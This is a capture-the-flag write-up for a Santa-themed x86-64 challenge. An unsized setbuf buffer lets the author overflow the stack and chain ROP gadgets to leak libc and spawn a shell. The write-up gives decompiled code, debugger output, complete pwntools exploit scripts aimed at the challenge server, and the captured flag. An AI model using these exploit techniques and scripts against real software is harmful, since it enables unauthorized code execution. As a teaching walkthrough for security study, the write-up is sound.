The Vulnerability
We are provided with an x86-64 binary, libc, and ld.
Running checksec
on the binary shows that there is no canary, NX is enabled, and PIE is disabled, so it looks like we have to do a buffer overflow ret2libc.
I decompiled the binary with Ghidra and got this:
undefined8 main(void)
{
int cmp_result;
FILE *dev_null;
char input [1024];
char buffer [1032];
setvbuf(stdin,(char *)0x0,2,0);
setvbuf(stdout,(char *)0x0,2,0);
dev_null = fopen("/dev/null","w");
setbuf(dev_null,buffer);
puts("Write all the complaints you have about Santa, they will be merrily redirected to /dev/null"
);
while( true ) {
cmp_result = memcmp(input,"done",4);
if (cmp_result == 0) break;
memset(input,0,0x200);
fgets(input,0x200,stdin);
fwrite(input,1,0x200,dev_null);
}
return 0;
}
It looks like the program reads input until a line that starts with “done” and writes the input to /dev/null
.
The code inside the loop looks safe, but the setbuf
call is interesting since it doesn’t include the size of the buffer.
The documentation for setbuf
states that the buffer should be at least BUFSIZ
characters long, and a quick search inside stdio.h
shows that BUFSIZ
is 8192, which is much bigger than the size of the buffer.
We have a stack buffer overflow vulnerability, and since we control the data that goes into the buffer, we can exploit it to do ROP.
Exploitation
Determining the Offset
First, we need to know the offset from the buffer to the return address.
I ran pwninit
to make sure that the binary uses the provided libc and linker, then I opened it with gdb.
I used the pattern create 1500
command from GEF to generate a pattern with unique substrings and fed it to the program.
As expected, it segfaults on the ret
instruction with rsp
pointing to our pattern characters.
I ran pattern search --max-length 1500 $rsp
to get the offset, which is 1038. Note that the --max-length
option is necessary because GEF will only search the first 1024 characters by default.
gef➤ pattern search --max-length 1500 $rsp
[+] Searching for '$rsp'
[+] Found at offset 1038 (little-endian search) likely
[+] Found at offset 1034 (big-endian search)
Leaking libc
We have to know where libc is in memory in order to jump to it.
The address will be different each time due to ASLR.
I used a technique that I learned from a John Hammond return to libc video where the puts
function is called with a pointer to an entry in the global offset table so that it prints out the libc address there.
We can call puts
without knowing the address of libc by going through the procedural linkage table.
from pwn import *
exe = ELF("./chall_patched")
libc = ELF("./libc-2.27.so")
context.binary = exe
r = process([exe.path])
# r = remote("challs.htsp.ro", 8001)
rop = ROP(exe)
padding = rop.generatePadding(0, 1038)
# Call puts with a pointer to the GOT entry containing the address of setbuf.
# pwntools automatically finds gadgets to set the arguments.
rop.puts(exe.got.setbuf)
# Call main again so that we can write the libc address later.
rop.main()
log.info(rop.dump())
r.sendlineafter(b"/dev/null\n", padding + rop.chain())
r.sendline(b"done")
# puts will stop when it hits a null byte and it will add a newline at the end
# Most of the time, the address won't have newlines or null bytes in the middle,
# but it will end with null bytes so we add those back.
leak = unpack(r.recvline(keepends=False).ljust(8, b"\0"))
# Calculate the libc base address by subtracting the offset of setbuf
libc.address = leak - libc.symbols.setbuf
log.info(f"{hex(leak)=} {hex(libc.address)=}")
r.interactive()
The output looks like this:
[+] Starting local process '/home/vagrant/santa/chall_patched': pid 1625
[*] Loaded 14 cached gadgets for './chall_patched'
[*] 0x0000: 0x4008f3 pop rdi; ret
0x0008: 0x601020 [arg0] rdi = got.setbuf
0x0010: 0x400600 puts
0x0018: 0x400767 main()
[*] hex(leak)='0x7f2264e88470' hex(libc.address)='0x7f2264e00000'
[*] Switching to interactive mode
Write all the complaints you have about Santa, they will be merrily redirected to /dev/null
We can see that pwntools
found a pop rdi
gadget and used it to set rdi
.
The libc base address that we got ends in several zeros which is evidence that it’s correct. We can also see the output from the program which indicates that we got main
to execute again.
Spawning a Shell
Now that we know where libc is, we can jump to any gadget in it. I used one_gadget
to automatically search for gadgets in libc that will spawn a shell.
$ one_gadget libc-2.27.so
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
The second gadget looks like it’s the easiest to use since we can make sure that rsp+0x40
points to null bytes by writing a bunch of null bytes after the ROP chain.
one_gadget = 0x4f302 + libc.address
rop = ROP(exe)
rop.raw(one_gadget)
# Add 0x48 null bytes to the ROP chain so that [rsp+0x40] == NULL
rop.raw(b"\0" * 0x48)
log.info(rop.dump())
r.sendlineafter(b"/dev/null\n", padding + rop.chain())
r.sendline(b"done")
When I ran the script, I got a shell first try.
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var
$ cat /home/ctf/flag.txt
X-MAS{H07l1n3_Buff3r5_t00_5m4ll}
Full solve script:
#!/usr/bin/env python3
from pwn import *
exe = ELF("./chall_patched")
libc = ELF("./libc-2.27.so")
context.binary = exe
# r = process([exe.path])
r = remote("challs.htsp.ro", 8001)
rop = ROP(exe)
padding = rop.generatePadding(0, 1038)
rop.puts(exe.got.setbuf)
rop.main()
log.info(rop.dump())
r.sendlineafter(b"/dev/null\n", padding + rop.chain())
r.sendline(b"done")
leak = unpack(r.recvline(keepends=False).ljust(8, b"\0"))
libc.address = leak - libc.symbols.setbuf
log.info(f"{hex(leak)=} {hex(libc.address)=}")
one_gadget = 0x4f302 + libc.address
rop = ROP(exe)
rop.raw(one_gadget)
rop.raw(b"\0" * 0x48)
log.info(rop.dump())
r.sendlineafter(b"/dev/null\n", padding + rop.chain())
r.sendline(b"done")
r.interactive()